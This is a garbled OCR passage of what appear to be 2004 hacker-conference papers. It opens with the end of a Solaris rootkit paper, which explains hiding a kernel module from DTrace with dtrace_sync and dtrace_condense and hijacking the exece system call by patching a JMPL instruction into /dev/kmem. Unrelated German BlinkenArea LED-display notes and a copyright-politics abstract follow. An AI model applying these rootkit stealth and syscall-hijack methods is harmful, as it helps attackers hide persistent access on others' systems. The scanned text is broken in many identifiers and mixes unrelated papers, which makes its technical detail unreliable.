pointer to it (if you don't understand that you shouldn't be reading this!).

Firstly let's think about what we know Solaris likes already. If we remove things (or mark them as
inactive) there are normally tidy-up routines to keep the system from wasting resources.

For an insight into what the full Vulndev.org Solaris code MAY include, try the following from the
include/sys folder:

find . | xargs egrep " sync\(""

Moving on.

bash-2.05b8 grep sync dtrace*
dtrace.h:extern void dtrace_sync(void);

[cut]

Let us not forget that kobj sync goes through and does the modctl and ksym tidying up for things that
“aren't in use”. So I believe it is a fair assumption at this point to say that dtrace sync() probably does
something similar.

Try inserting this straight into a module, it won't hide anything on it's own. Therefore more must remain to
be discovered. *Cue the Indiana Jones music*

bash-2.05b3 grep enabled dtrace*
[cut]

dtrace.h: * dtrace_condense() <-- Remove a provider's unenabled probes

[cut]

Looking into the header file we see the following specification:
int dtrace _condense(dtrace provider id tid)
(<deity> bless SUN and all under her employ for their great header commentary).

There is nothing that says specifically that this function is going to do the job however it is not module
dependant as it is a part of the Dtrace “Provider-to-Framework API”.
To successfully run dtrace _condense() we have to pass it a dtrace provider id t which turns out to be:

dtrace.h:typedef uintptr t  dtrace provider id t;

This means that a dtrace provider id t is a data block capable of holding a 64bit memory address (under
SPARC 64 ofcourse). This is definitely something that we are going to want to remember.

We now turn our attention to just what an “unenabled” probe is.

A probe is a module (or program) function that is exported to Dtrace. Not something Cartman discusses
with Stan, Kyle, Kenny and the Aliens.
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Let us examine the dtrace -1 output:

-bash-2.05b# dtrace -1 | tail -3

34644 fbt zmod z_strerror return
34645  fbt zmod Z_uncompress entry
34646  fbt zmod Z uncompress return

-bash-2.05b# modinfo | tail -5

166 7be83988 4fb8 - 1 zmod (RFC 1950 decompression routines)
167 7bf3f808 a60 89 1 lockstat (Lock Statistics 1.9)

168 7bb23668 ¢80 220 1 profile (Profile Interrupt Tracing)

169 7bf42238 1f10222 1 sdt (Statically Defined Tracing)

170 7bff9a08 7a8 221 1 systrace (System Call Tracing)
-bash-2.05b#

There we can see that the bottom of the dtrace list contains entries that belong to zmod. But which fall
under the fbt provider (let us all contain our surprise).

So I think at this stage in the proceedings it is safe to assume this that an “unenabled” probe is one which
is contained within a module which does not have a loaded or an active status.

If we think about that and open modctl.h at the same time:
[cut]

char mod_loaded; /* module in memory */

char mod_installed; /* post init pre fini */
[cut]
These are pretty self-explanatory. A '0' in mod_loaded and mod _installed will indicate the module is
(surprisingly) not loaded and not installed as far as any tests against it's structure goes. (Remember that
once a module is loaded it becomes part of that modinfo -c list.) for example, create a small test mod (just
the init, infoand fini functions and within init change the module flags above, then try modunload). It
would be a good way of really annoying an admin.
It can be solved through another module loading and marking the persistent module as mod_installed being
true.

Even with a call to dtrace _sync() and the flags set properly, it still won't work.

This is because we haven't called dtrace condense() yet.

You can sometimes get the “extern “ declaration for it depending on your defines, but i prefer to grab it's
address with a Dtrace script. (after all, it is there to allow easy kernel debugging in a “safe” way.)

It does take a parameter however, a dtrace_provider id t, what is this, where does it come from and can |
have it in black?

I think it is safe to assume that this provider id (which is going to be a pointer, let's face it). Is going to
point to a provider of probes. (*gasp*). What we want it to point to is the fbt module.

-bash-2.05b# strings -a /dev/ksyms | grep provide
[cut]

No, some things that we will find dejavous-esque later, but nothing directly relevant.
-bash-2.05b# strings -a /dev/ksyms | grep probe

[cut]

dtrace probes

[cut]

> dtrace_probes::print -t

dtrace _probe_t **0x300046e4000
>

veritably now the game is afoot. (or at the very least a smelly sock.).
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We have a pointer, to a pointer.
> *dtrace probes::print -t
mdb: no symbol information for 0x300046e4000: no symbol corresponds to address

Now we have a little guess about what it is pointing to. (having ofcourse read through dtrace.h and seen
dtrace probe t earlier). Not to mention that a probe provider may well provide probes, and the
dtrace_probe t would make sense to be the structure that we are needing to use.

> **dtrace probes::print -t dtrace probe t
{
dtrace id tdtpr id = OxI
dtrace ech t *dtpr ech =0
dtrace ech t *dtpr ech last =0
void *dtpr _arg =0
dtrace cacheid t dtpr predcache = 0
int dtpr_aframes = 0
dtrace_provider t *dtpr_provider = 0x30001e565c0
char *dtpr_mod = 0x30001c6¢0f8 """
char *dtpr_func = 0x30001c6c0f0 ""
char *dtpr _name = 0x30001c6c0e8 "BEGIN"
dtrace probe_t *dtpr nextmod = 0
dtrace probe_t *dtpr prevmod = 0x300021db9c0
dtrace probe t *dtpr nextfunc = 0
dtrace probe_t *dtpr prevfunc = 0x300021db9c0
dtrace probe_t *dtpr_nextname = 0
dtrace probe t *dtpr prevname = 0

/

Ok, this is all well and good but where is it leading us?
dtrace provider t *dtpr _provider = 0x30001e565c0
ah ha! That there my fellow is a pointer to a provider.

> 0x30001e565¢0::print -t dtrace_provider t

[cut]

char *dtpv_name = 0x30001c6¢100 "dtrace"
[cut]

struct dtrace_provider *dtpv_next = 0x30001e56de0
[cut]

Now we are into our linked list of providers. (HURRAH!)

Getting to the magic that is mdb we use the address provided and pass it to the linked list walker within
mdb to print out all of the entries (up to the NULL).

> 0x30001e565c0::list dtrace_provider t dtpv_next
[...]

30001e56b60

30001e56¢00

30001e56d40

>
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This is useful but could be more useful, if we pipe this into a print statement and then select the dtpv_name
field of the structure. We can see what the names of the modules are in turn.

> 0x30001e565c0::list dtrace_provider t dtpv_next | ::print -t dtrace_provider_t dtpv_name

char *dtpv_name = 0x30001c6c100 "dtrace"

[...]

char *dtpv_name = 0x30001c6¢338 "fbt"

>

The final entry, “fbt” is the provider that handles kernel modules loaded.
Using the value: 0x30001e56d40 (from the first list walk). We can check that it really is a Dtrace provider
(dtrace_provider t)
>0x30001e56d40: :print -t dtrace_provider t
{
[...cut...]
dtrace pops tdtpv pops = {
int (*)() dtps_provide = dtrace nullop
int (*)() dtps_provide_module = fbt_provide module
int (*)() dtps_enable = fbt_enable
int (*)() dtps_disable = fbt_disable
int (*)() dtps_suspend = fbt_suspend
int (*)() dtps_resume = fbt_resume
int (*)() dtps_getargdesc = fbt_getargdesc
int (*)() dtps_getargval = 0
int (*)() dtps_usermode = 0
int (*)() dtps_destroy = fbt_destroy

char *dtpv_name = 0x30001d0e438 "fbt"
void *dtpv_arg =0

uint_t dtpv_defunct = 0

uint t dtpv_anonmatched = 0

struct dtrace_provider *dtpv_next = 0

/

This show's a number of things:
That this is the fbt provider.
The names of the services provided by the provider.
That there are no further providers (NULL in dtpv_next)

Because at some point this structure must be passed to the setup routines for Dtrace, it is a fair assumption
that it is a variable and symbol in it's own right.

When you combine a call to dtrace sync() and then dtrace condense(&fbt provider). You will be removed
from the list of providing modules in Dtrace.

110 | 21C3 | SUN Bloody Daft Solaris Mechanisms [5711



Hijacking System calls without changing the system entry tables or interrupt handlers.

A required text (if you want to repair the errors built into the released code) is the following publication:

www.sparc.conystandards/SPARCV9.pdf

I highly recommend PURCHASING the above PDF as a printed book,
ISBN: 0-13-099227-5
(You will not necessarily need to be familiar with SPARC Assembly language to utilise it.)

Your SPARC V9 Sections for reference:
Pg's 31, 62-81, 170, 181, 201, 208, 217, 218 and 289.

In order to avoid modifying the System Entry table entries, one needs to find a method which they can use
to edit either the System Handlers, such is easily done under Linux, or do something which is a bit more
fun for the average bear (or Panda).

There are a couple of considerations that must come into play when Hijacking system calls on any system.
How does the call operate.
Does it pass pointers or actual structures.
What does it return.
Those are System independent, regardless of what OS you are modifying you will need to take this into
account.

There are situations where it is not feasible to re-write the system call, however there are plenty of areas
where it is perfectly feasible.

The exece() function is what we will target.

Re-writing Execve:

Exece is a wrapper to execve, It is defined as:
./sys/exec.h:extern int exece(const char *fname, const char **argp, const char **envp);

This is interesting because, unlike Linux, all of the parameters which are passed to the function are
pointers. These are not something subject to change and as such can be easily thrown around.

In order to fully understand what we are going to do, it will help if we are able to see what we are talking
about:
Disassembling exece gives:

> exece::dis

exece: save  %sp, -0xb0, %sp

exece+4: mov %10, %00

exece+8: mov %il, %0l

exece+0xc: call  +0x38 <exec_common>
exece+0x10: mov %12, %02

[cut]
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Step by step this performs the following:

> exece::dis

exece: save  %sp, -Oxb0, %sp

Create space for local storage..

exece+4: mov %10, %00

move the first passed argument (*fname) to the first out register
exece+8: mov %il1, %01

move the second passed argument (**argv) to the second out register
exece+0xc: call  +0x38 <exec_common>

call the function exec_common();

exece+0x10: mov %i2, %02

move the third passed argument (**envp) to the third out register.

If you are confused about third argument being passed after the call, you should look into the delay slot
mechanism of the SPARC CPU.

This shows us that exec_common() takes exactly the same arguments as exece.
Which in turn leaves us knowing that we don't have to worry about any processing that exece MAY have
done upon the inbound arguments as they are passed to exec_common straight away.

Now that we know about what arguments we have control of, the matter of how we can hijack the function
arises. The key process to pursue here is the thought of TRANSFER from one location to another.

Some people seem to believe that under the SPARC architecture, you are limited to a JMP of an address
range of 13 bits.

This is wrong.

Extract from SPARC V9 Architecture manual, pg 170:

“..JMPL instruction causes a register-indirect delayed control transfer to the address given by

rfrsl] +r[rs2] ... or v[rs1] + sign_ext(simmli3)...”

So actually, we can jump to any addressable memory location. This does mean that it has to be memory
aligned, but that makes sense due to SPARC's 4-byte opcode rule.

Therefore in order to transfer from the location of exece to a location of our choice:
set-up a register with the destination address
jump to it
handle the system call by calling exec common() at some stage.
Return from System call.

I cover the basic structure in my presentation on Solaris rootkits, first aired at the 21C3
(www.ccc.de/congress/2004)

There are several ways to get the Address of your function within the kernel. Use your imagination.
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Once you have the address of the kernel modules function and the original address of exece, you need to
modify the kernel memory.

This can be done either through REALLY screwing around with genunix or (more easily) by patching
/dev/kmem.

Going on the assumption that you don't mind patching Kmem (or if the admin. is trying to be clever, check
for /devices/pseudo/mm@x:kmem) I will not cover writing to Kmem, we all know how to do it, it's not

new.

So we need to write some code that will position us at the address of the function we wish to modify,
create the opcodes for the JMPL instruction and write them to kmem.

This does ofcourse only work as such for the SPARC architecture, it is possible to do it for x86 too you

will have to look into that yourself. The principle is exactly the same but you need to obviously change the
opcode structures.

The End
That's everything you need to know to get you in a whole load of trouble.

For the Blogged response to the requests to Disable Dtrace see: http://en.wikipedia.org/wiki/The finger
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Questions??

Email: archim@vulndev.org

Telephone Number on request.

IRC: ircs.segfault.net #phenoelit - Archim

“Paranoia, Keeping us clothed and fed since _init();”
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Notes to the reader.

I am always happy to discuss new ideas, ideas for ideas or to be offered work. Please contact me at
the given email addresses.

PGP key is available on request.

There may well be copyright issues within this document, the use of header data, the Dtrace quotes
etc. Data from SUN headers are copyright SUN Microsystems. Other data may be copyright its
respective owner. This document is not based on any previous material.

If you believe you have a claim over any material in this document I advise you to contact me
before doing something such as publishing any material based on this document. (Or the section(s)
you believe you have a claim to.). Articles have in the past been based on documents I have
authored, this is fine as long as I am acknowledged as the original author. In some cases Editors
have become very red faced when I confront them with a printed article that is plagiarised.

Don't waste all of our time.
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Die blinkenden Verdachtigen

Ein Vortrag iiber die BlinkenArea und ihre Projekte auf dem
21. Chaos Communication Congress*.

STephan Kambor <st@blinkenarea.org>
Stefan Schiirmans <1stein@blinkenarea.org>

Dezember 2004 (V. 1.03)

“http[s]://www.ccc.de/congress,/2004/
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1 Vorgeschichte

Zum 20 jahrigen Bestehen des Chaos Computer Club im Jahre 2001 schenkte sich
der Club und auch der Stadt Berlin eine riesengrofse Lichtinstallation: Blinkenlights.
Diese Installation verwandelte das zu diesem Zeitpunkt leerstehende und renovie-
rungsbediirftige Haus der Lehrers am Alexanderplatz in ein interaktives Display.
Dazu stellte die Gruppe: Project Blinkenlights' hinter jedes der 144 mit weiker
Wandfarbe diffus gemachten Fenster einen Baustrahler. Jeder Baustrahler wurde
einzeln durch einen Computer gesteuert, so dass auf der Vorderseite des Hauses ein
monochromes Display mit 18x8 Pixeln entstand.

Auf diesem Display wurden dann per Email eingesendete Filme gezeigt. Zuséatzlich
war es moglich, den Spiele-Klassiker Pong auf dem Haus zu spielen, indem man
per Handy einfach das Haus anrief. Es gab sogar die Option, seinen eigenen ein-
gesandten Film per Handy aufzurufen. Viele nutzten diese Gelegenheit dazu, mit
ihrer Freundin zum Alexanderplatz zu gehen und dann den eigens angefertigten
»Liebesbrief* auf dem Haus zu starten.

In Paris baute Project Blinkenlights dann etwa ein Jahr spiter die Nachfolge-
Installation Blinkenlights Arcade 2 in der Bibliothéque nationale de France auf.
Hier gab es 26x20 (also 520) Fenster, auf denen sogar Graustufen angezeigt wur-
den. Damit konnten natiirlich wesentlich ausgefeiltere Filme und Effekte gezeigt
werden. Zu den zwei Spielen Pong und Tetris vom Project Blinkenlights steuerte
die BlinkenArea noch Breakout und Pacman hinzu.

Zum 20. Chaos Communication Congress im Dezember 2004 wurde dann noch ein-
mal das Haus des Lehrers in Berlin von Project Blinkenlights erleuchtet. Hier wurde
die Technik aus Paris verwendet, so dass es bei dieser Installation, die Blinkenlights
Reloaded ? getauft wurde, 18x8 Pixel mit Graustufen gab.

Im Netz findet man weitere Informationen tiber die drei grofen Installationen.

Thttp:/ /www.blinkenlights.de/
2http:/ /www.blinkenlights.de/arcade/
3http://www.blinkenlights.de/reloaded.de.html
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2 Nachbauten

Viele Leute waren begeistert von der Idee, ein Haus in ein Display zu verwandeln
und einige wiinschten sich ebenfalls ein solches Haus. Leider hat man meistens kein
leerstehendes Hochhaus zur Verfiigung, so dass man sich etwas anderes einfallen las-
sen muss, um sich Blinkenlights nach Hause zu holen. Die Losung sind verkleinerte
Nachbauten. Viele Leute haben solche Nachbauten angefertigt und ein Grofsteil hat
sich zur sogenannten BlinkenArea! zusammengeschlossen.

Um die Nachbauten der BlinkenArea und die Software zum Betrieb geht es im
Vortrag »Die blinkenden Verdéchtigen«. Der Titel ist dabei nur als Wortspiel mit
dem Congress-Motto »Die iiblichen Verdéchtigen« zu verstehen.

In diesem Dokument werden einige Nachbau- und Software-Projekte kurz vorge-
stellt. Fiir detailierte Informationen steht unser Wiki, unsere Mailingliste und unser
Forum zur Verfiigung.

2.1 BlinkenLeds

Das erste Blinkenlights-Nachbau-Projekt, dass im Web bekannt wurde, ist Blinken-
Leds?. Hier werden 144 LEDs an einen PC angeschlossen, um das Haus mit seinen
144 Fenstern zu simulieren. Das Hauptproblem dabei ist, dass kein PC Ausgénge fiir
den Anschluss von 144 Leuchtdioden hat. Deshalb werden bei BlinkenlLeds Schie-
beregister an den Parallelport angeschlossen. Mit diesen Chips kann man die Daten
hintereinander auf dem Parallelport ausgeben und dann auf einen Schlag an die
LEDs ausgeben. Der Schaltplan fiir BlinkenLeds und eine Windows-Software zum
Abspielen der Blinkenlights-Filme findet man als OpenSource auf den BlinkenLeds
Webseiten.

Abbildung 2.1: BlinkenLeds Pro

Seit Ende 2004 gibt es von der BlinkenArea ein Redesign mit Graustufenunterstiit-
zung namens BlinkenLeds Pro. Auch Software mit vielen neuen Funktionen wurde
fiir BlinkenLeds entwickelt.

Thttp://www.blinkenarea.org/
2http://www.blinkenleds.de/
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2 Nachbauten

2.2 BLINKENmMmini

Einen sehr #hnlichen Ansatz verfolgt BLINKENmini® , welches zeitgleich, aber un-
abhéngig von BlinkenLeds gebastelt wurde. Auch hier werden 144 LEDs iiber Schie-
beregister an den Parallelport eines PCs angeschlossen, aber es ist durch einen klei-
nen Zusatz moglich, Graustufen auszugeben. (Diese Graustufen gab es schon vor
den Graustufen von Blinkenlights Arcade).

BLINKENmini verwendet superhelle gelbe LEDs, wodurch hinter den Schieberegi-
stern noch Verstérker-Chips notwendig sind. Die Graustufen werden durch einen
externen Taktgenerator realisert, der mit 2kHz Hardware-Interrupts auslést. Ein
Linux-Kernelmodul {ibernimmt dann im Interrupt-Handler die Aufgabe, durch schnel-
les Ein- und Ausschalten der LEDs Graustufen zu simulieren. Auch hier ist der
Schaltplan und die Software als OpenSource auf den Webseiten zu finden.

Abbildung 2.2: BLINKENmini und XMasLights

2.3 XMasLights

Auch bei XMasLights? handelt es sich um ein Nachbau-Projekt im Format 18x8
mit Glithlampen. Hier wurden aber mehrere Weihnachtslichterketten auseinander-
geschnitten, so dass in jedem Pixel zwei Lampchen fiir die Beleuchtung sorgen. Die
Steuerung erfolgt hier auch im wesentlichen iiber Schieberegister, allerdings erhal-
ten diese ihre Daten von einem Mikrocontroller, der die Daten iiber eine RS232-
Schnittstelle empféangt.

2.4 Bauschild

Die Idee mit den Nachbauten schwappte auch wieder zuriick zum Project Blin-
kenlights. In das Bauschild, das wihrend des Umbaus am Haus des Lehrers stand,
bastelten die Macher der grofien Installationen eine kleine Version von Blinkenlights
aus weissen LEDs hinein. Dieser Nachbau unterstiitzte ebenfalls schon Graustufen
und wurde wohl auch zum Test der fiir Arcade bendtigten Software benutzt.

Leider ist der Aufbau und die zugrundeliegende Technik des Bauschilds nicht do-
kumentiert, so dass hier nicht mehr dazu gesagt werden kann.

3httpl[s]://blinkenmini.schuermans.info/
4http[s]://wiki.blinkenarea.org/bin/view /Blinkenarea/XMasLights
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2 Nachbauten

2.5 LittleLights

LittleLights® basiert auf BlinkenLeds, benutzt aber kleine 36V Limpchen mit 1,8
Watt anstelle der LEDs. Deshalb ist auch hier eine Verstarkung der Signale nétig,
was von 144 Feldeffekttransistoren iibernommen wird. Besonderes Highlight dieses
Projekts ist aber, dass nicht nur das Display, sondern gleich das ganze Haus im
Mafkstab 1:42 nachgebaut wurde. Sogar das Fries vom Haus des Lehrers ist an der
Vorserseite des 1,25 Meter hohen Modells zu sehen. Da ein solcher Haus-Nachbau
geniigend Platz bietet, ist gleich der ganze PC mit integriert. Eine detaillierte Auf-
baubeschreibung ist auf den Webseiten zu finden.

Auf dem Easterhegg 2004 wurde LittleLights von Windows auf Linux umgestellt
und das zugrunde liegende BlinkenLeds-Konzept auf BlinkenLeds Pro aufgeriistet.
Diese Erweiterung von BlinkenLeds fiigt einen Taktgenerator hinzu, so dass nun
auch die Darstellung von Graustufen moglich ist.

Abbildung 2.3: LittleLights, BlinkstroemAdvanced und RotArcade

2.6 BlinkstroemAdvanced

BlinkstroemAdvanced® ist ein Haus des Lehrers Modell im Format einer Ziga-
rettenschachtel. Es besteht aus einer Platine, die im wesentlichen einen Atmega-
Microcontroller und 144 SMD-LEDs enthélt. Von einer SD- oder MM-Karte wer-
den die Filme gelesen und mit Graustufen auf den LEDs angezeigt. Vervollstdndigt
wird die Platine mit einer Papierverkleidung, so dass sie auch optisch zum Haus des
Lehrers wird.

2.7 RotArcade

RotArcade” ist ein Blinkenlights Arcade Nachbau. Allerdings sind hier nicht 520
LEDs verwendet worden, sondern nur eine Spalte mit 20 LEDs. Diese Spalte rotiert
mit Hilfe eines Motors. Durch schnelles Ein- und Ausschalten der LEDs in Zusam-
menarbeit mit der Tragheit des Auges entsteht ein Bild. Dieses Bild kann dabei
auch Graustufen enthalten.

Angesteuert wird die rotierende LED-Zeile von einem AVR-Mikrocontroller, der
sich mit auf dem Rotor befindet. Dieser Mikrocontroller spielt dann die in seinem
Programmspeicher enthalten Arcade-Filme ab. Weiterhin kénnen auch per Infrarot
Daten von einem PC iibertragen und abgespielt werden.

Shttp[s|://www.littlelights.de/
6httpls]://wiki.blinkenarea.org/bin/view/Blinkenarea,/Blinkstroem Advanced
"http[s]://wiki.blinkenarea.org/bin/view /Blinkenarea/Rot Arcade
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2 Nachbauten

2.8 ARCADEmMmIni

ARCADEmini® verfolgt wieder eher den klassischen Ansatz. 520 LEDs simulieren
520 Fenster. Allerdings sind die LEDs hier nicht einzeln angeschlossen, sondern als
Matrix geschaltet: D.h. es sind einfach die Anoden spaltenweise und die Kathoden
zeilenweise miteinander verbunden. So kann zu einem Zeitpunkt genau eine Zeile
leuchten. Die Tragheit des Auges baut aus den einzelnen aufleuchtenden Zeilen dann
wieder ein komplettes Bild zusammen. Hier sind auch wieder Graustufen moglich,
ohne die ein Arcade-Nachbau ja nicht komplett wére.

Die anzuzeigenden Filme kénnen hier vom PC iiber USB kommen oder wahlweise
auch einer CompactFlash-Karte entnommen werden. Der PIC-Microcontroller kann
neben Filmen aber auch Programme von der Speicherkarte ausfiihren. Dazu wurde
eine eigene Assembler-Sprache entwickelt, deren Befehle dann vom Microcontroller
interpretiert werden. So kann man Filme und Spiele auf ARCADEmini benutzen,
ohne einen PC zu bendtigen. Auf den ARCADEmini Webseiten wird eine umfang-
reiche Dokumentation des Projekts angeboten.

2.9 ARCADEmaxi

Da wir in der BlinkenArea auch mitunter den Drang zu gréferen Projekten verspii-
ren, entschlossen wir uns, auf dem Chaos Blinkeholican Camp Mitte 2004 einen gro-
Reren Arcade Nachbau in Gemeinschaftsarbeit zu bauen. Das Ergebnis ist ARCA-
DEmaxi? mit iiber 1,50 m Hohe und 520 kleinen Gliithlampen. Angesteuert werden
die Lampen durch eine ARCADEmini-Platine, jeder Menge Latches und Verstérker-
Chips. Softwareseitig verhilt sich ARCADEmaxi exakt wie ein ARCADEmini und
kann daher eigenstdndig von CompactFlash-Karten laufen oder iiber USB an einen
PC angeschlossen werden.

. -

-:ggt

Abbildung 2.4: ARCADEmini und ARCADEmaxi

8httpl[s]://arcademini.schuermans.info/
9http[s]://wiki.blinkenarea.org/bin/view /Blinkenarea/ArcadeMaxi
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3 Dateiformate

Grundlage aller Blinken-Projekte, sei es grofs oder klein, sind die Filme. Hierfiir gibt
es vier verschiedene Dateiformate:

BlinkenLights Movie (*.blm) ist das erste Format. Es ist rein textbasiert und un-
terstiitzt nur schwarz/wei-Filme. Es wird einfach fiir jedes Bild eine entsprechende
Anzahl Zeilen mit der entsprechenden Anzahl von 0 und 1 abgespeichert.

Basierend auf diesem Format wurde BlinkenMiniMovie (*.bmm) definiert, wel-
ches pro Pixel nicht nur 0 oder 1 abspeichert, sondern einen Graustufen-Wert von
0 bis 255. Es werden also Graustufen-Filme unterstiitzt.

Mit Blinkenlights Arcade kam dann das dritte Format, die Blinkenlights Markup
Language (*.bml), dazu. Dieses Format ist XML-basiert und unterstiitzt neben
verschiedenen Graustufenanzahlen auch mehrere Kanéle, ist also farbtauglich.

Das neuste Dateiformat ist das BinaryBlinkenMovie (*.bbm), welches ein reines
Binarformat ist. So werden die Filme kleiner und kénnen schneller geladen und
gespeichert werden.

Alle Dateiformate! sind im Wiki der BlinkenArea genau dokumentiert.

<?xml version="1.0" encoding="UTF-8"7>
<blm width="18" height="8" bits="4" channels="1">

<header>
<title>bbo-bbm</title>
<description>Auto-Generated Vertical Color Test</description>
<creator>Perlscript</creator>
<author>CAVAC</author>
<email>cavac@grumpfzotz.org</email>
<loop>no</loop>

</header>

<frame duration="50">
<row>89ABCDEFEDCBA98765</row>
<row>789ABCDEFEDCBA9876</row>
<row>6789ABCDEFEDCBA987</row>
<row>56789ABCDEFEDCBA98</row>
<row>456789ABCDEFEDCBA9</row>
<row>3456789ABCDEFEDCBA</row>
<row>23456789ABCDEFEDCB</row>
<row>123456789ABCDEFEDC</row>

</frame>

</blm>

Auszug aus einem bml

Thttpl[s]:/ /wiki.blinkenarea.org/bin /view/Blinkenarea/DateiFormate
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4 Netzwerk-Protokolle

Blinken-Filme konnen auch als Stream iiber ein Netzwerk iibertragen werden. Dazu
gibt es drei UDP-basierte Protokolle:

Das BlinkenLights Protocol (BLP) ist das &lteste Protokoll und kommt noch
von der ersten Blinkenlights-Installation. Dementsprechend unterstiitzt es auch nur
schwarz/weif-Streams. Das Prinzip ist recht einfach: Jedes Bild wird als ein UDP-
Paket gesendet. Neben einem Magic und der Groéfe des Displays, sind die Pixel als
jeweils ein Byte enthalten, wobei 0x00 fiir einen ausgeschalteten Pixel und jeder
andere Wert fiir einen eingeschalteten Pixel steht.

Das Extended BlinkenLights Protocol (EBLP) unterstiitzt Graustufen aber
unterscheidet sich von BLP nur durch den Magic und die Interpretation der Pixel-
Bytes. Hier wird jedes Byte als Graustufenwert eines Pixels aufgefasst.

MCUF steht fiir MicroController Unit Frame und ist der Name des neusten
Blinken-Stream-Protokolls. Neben einer erneuten Anderung des Magic und der Er-
weiterung des Headers um die Anzahl der Kaniile und die Anzahl der Graustufen
wurde der Datenteil so erweitert, dass nun fiir jeden Pixel die Werte aller Kanéle
als Byte im Paket stehen.

Alle diese Protokolle besitzen mittlerweile auch dynamische Erweiterungen. Mit
diesen Erweiterungen kann ein Client einen Stream anfordern, seine Anforderung
zeitlich ausdehnen und seine Anforderung zuriickziehen. So ist es moglich auf einem
zentralen Server einen Stream anzubieten und bei Bedarf an verschiedene Clients
auszuliefern. Die dynamische Erweiterung von MCUF ist auch als BlinkenProxy-
Protokoll bekannt.

Die Protokolle! sind alle im BlinkenArea-Wiki dokumentiert.

o +
| magic |
| 0x23 0x54 0x26 0x66 |
o o +
| height | width |
| 0x00 0x14 | 0x00 Ox1A |
O O +
| channels | maxval |
| 0x00 0x01 | 0x00 OxFF |
o _ o~ +
pixels

OxFF 0xCC  0x99 0x66

0x00 0x00  0x00 0x00

MCUF Schema

Thttpls]://wiki.blinkenarea.org/bin/view /Blinkenarea/BlinkenlightsProtokolle
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5 BlinkenArea-Software

Als Basis der verwendeten Software fiir die Nachbau-Projekte steht die originale
Blinkenlights-Software (blcce, usw.) zur Verfiigung. Allerdings ist diese Software
auf die groken Projekte optimiert und erfiillt nicht alle Anforderungen eines ge-
meinsamen und interaktiven Betriebs vieler blinkender Projekte. Daher haben ei-
nige Mitglieder der BlinkenArea Software-Tools fiir die verschiedensten Aufgaben
geschrieben, die aber im wesentlichen die Kompatibilitdt zu der Original-Software
durch Benutzung der gleichen Dateiformate und Netzwerkprotokolle beibehalten.

Es gibt eine Vielzahl von Softwareprojekten, teilweise fiir Linux/Unix, teilweise
fiir Windows, auf die hier nicht einzeln eingegangen werden kann. Von Playern
fiir die verschiedenen Formate und Geriéte, iiber Konvertierungswerkzeuge bis zum
kleinen Betriebssystem ist alles dabei. Stellvertretend sollen vier der Projekte kurz
vorgestellt werden.

5.1 BlinkServ Condor

BlinkServ Condor! ist ein FileServer fiir Blinken-Filme kombiniert mit einem Stream-
Generator. Es konnen Blinken-Filme iiber ein FTP-dhnliches Protokoll hoch- und
heruntergeladen werden. Diese Filme werden dann abgespielt und als Blinken-Stream
ins Netz gesendet. Uber spezielle Befehle kénnen auch Filme auf Abruf gestartet
werden, so dass sich die oben erwéhnte Liebesbrief-Funktion auch iiber Netzwerke
an Stelle von Handys realisieren ldsst.

5.2 bl _proxy

Ein anderes Projekt ist bl _proxy? , ein erweiterter Proxy-Server fiir Blinken-Streams.
Es ist mit diesem Tool mdoglich, Streams zu empfangen, prioritatsbasiert auszuwah-
len und statisch oder dynamisch weiterzuverteilen. Dabei konnen auch Konvertie-
rungen zwischen den einzelnen Formaten (18x8, 26x20) und verschiedenen Netz-
werkprotokollen vorgenommen werden.

5.3 BlinkenTool & BlinkenPlayerExxtreme

Die beiden Windows Programme BlinkenTool? und BlinkenPlayerExxtreme? sind
in der Lage unterschiedlichste Hardware, wie z.B. BlinkenLeds, LittleLights, XMas-
Lights oder ARCADEmini mit Daten zu versorgen, die Funktionen sind sehr weit-
reichend. Lauftexte (mit Variablen z.B. Wetter, Charts oder Temperaturen), diver-
se Uhren, Winamp Visualisierung, Zeichenfunktion, verschiedene Schriftarten und
noch viel mehr. Es kénnen natiirlich auch einfach Filme abgespielt werden. Der
BPE hat noch ein besonderes Feature. Durch einen DelayDriver konnen Laufschrif-
ten tiber mehrere BlinkenDevices realisiert werden.

Thttpl[s]:/ /wiki.blinkenarea.org/bin /view/Blinkenarea/BlinkServ
2httpls|://wiki.blinkenarea.org/bin/view/Blinkenarea/Bl_proxy
Shttpls]://wiki.blinkenarea.org/bin/view/Blinkenarea/BlinkenTool
4http[s]://wiki.blinkenarea.org/bin/view /Blinkenarea/BlinkenPlayerExxtreme
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6 Zukunft der BlinkenArea

Gerade in der letzten Zeit vor dem 21. Chaos Communication Congress hat die Blin-
kenArea sehr viel Zulauf erfahren, deshalb ist in Zukunft noch einiges zu erwarten.
Wer mehr iiber die Zukunft der BlinkenArea und all ihre Projekte erfahren mochte
oder wissen will, was die BlinkenArea mit 28416 Pixeln plant, sollte unbedingt un-
seren Vortrag besuchen. Thr kénnt auch gern in der BlinkenArea im Art & Beauty
Bereich vorbeikommen, euch alles anschauen und euch Informieren. Falls ihr Gliick
habt, bekommt ihr noch einen unserer begehrten Bauséitze ab.

Betreiber blinkender Objekte
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The critical delusion of the condition of digitisation
or the prosecution of sharing and seduction

for 21C3

Version 0.92

George N. Dafermos
dafermos@datahost.gr

Abstract.

I'd like to propose a session on how digital media prosthetics, institutionalisation (in
particular the manifestations of copyright and patent law which lurk behind vested
interests in controlling the transition to a vastly powerful new world), and the imperatives
of corporate planning have come into a conflict so fierce that shared lived experience,
increasingly, is forced to undergo a rapid process of commodification. This struggle,
which can no longer be defined through the lens of geography or class alone, in turn,
points to a not that distant future in which commons-based peer production/consumption
is exploited within the context of intense social taylorism and digital fordism with the
ultimate goal to turn culture into a paid-for experience, and hence moving the terrain of
struggle away from the surplus value of labour to the “legitimacy” of knowledge sharing
and pervasive networking, and how the latter can be monetised and controlled in
accordance with anarcho-capitalist agendas. Obviously, the question which we ought to
pose to ourselves is how the revolutionary demands of hacking can be guided, assembled,
and reproduced, so that this process of commodification is consciously resisted by
technology developers and users alike, artists, and all those whose creativity and desire
for socially conscious technological innovation and emergent social co-operation have
been enhanced by the digital condition we're increasingly in the centre of.
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Digital condition, the. [def]

Copy and paste. Peer-to-peer. Free Software. Open
Source. Questioning and re-drawing the boundaries of the
real and the authentic. Promethean extension of global
consciousness. Redefinition of communication, community,
group dynamics, class consciousness. Capacity to tear
down the consumption — production dichotomy, replacing
it with plastic affluence and endogenous social relations
premised on community involvement. Where societism can
be decoupled from its economic form. Arbitrary claim of
the industrial-cultural complex; apotheosis of The
Spectacle, of the Image, of the Sign, of Representation, of
the Avatar, of the Automaton, of Narcisus. Embodiment of
the revolutionary force of the reversal of perspective,
ultimate justification of the radical subjectivity of those
opposing property and law. Where pre-history is -
presumably but wrongly - thought to give way to history.
Where sterile hope is boycotted but also reproduced. Copy

and paste.

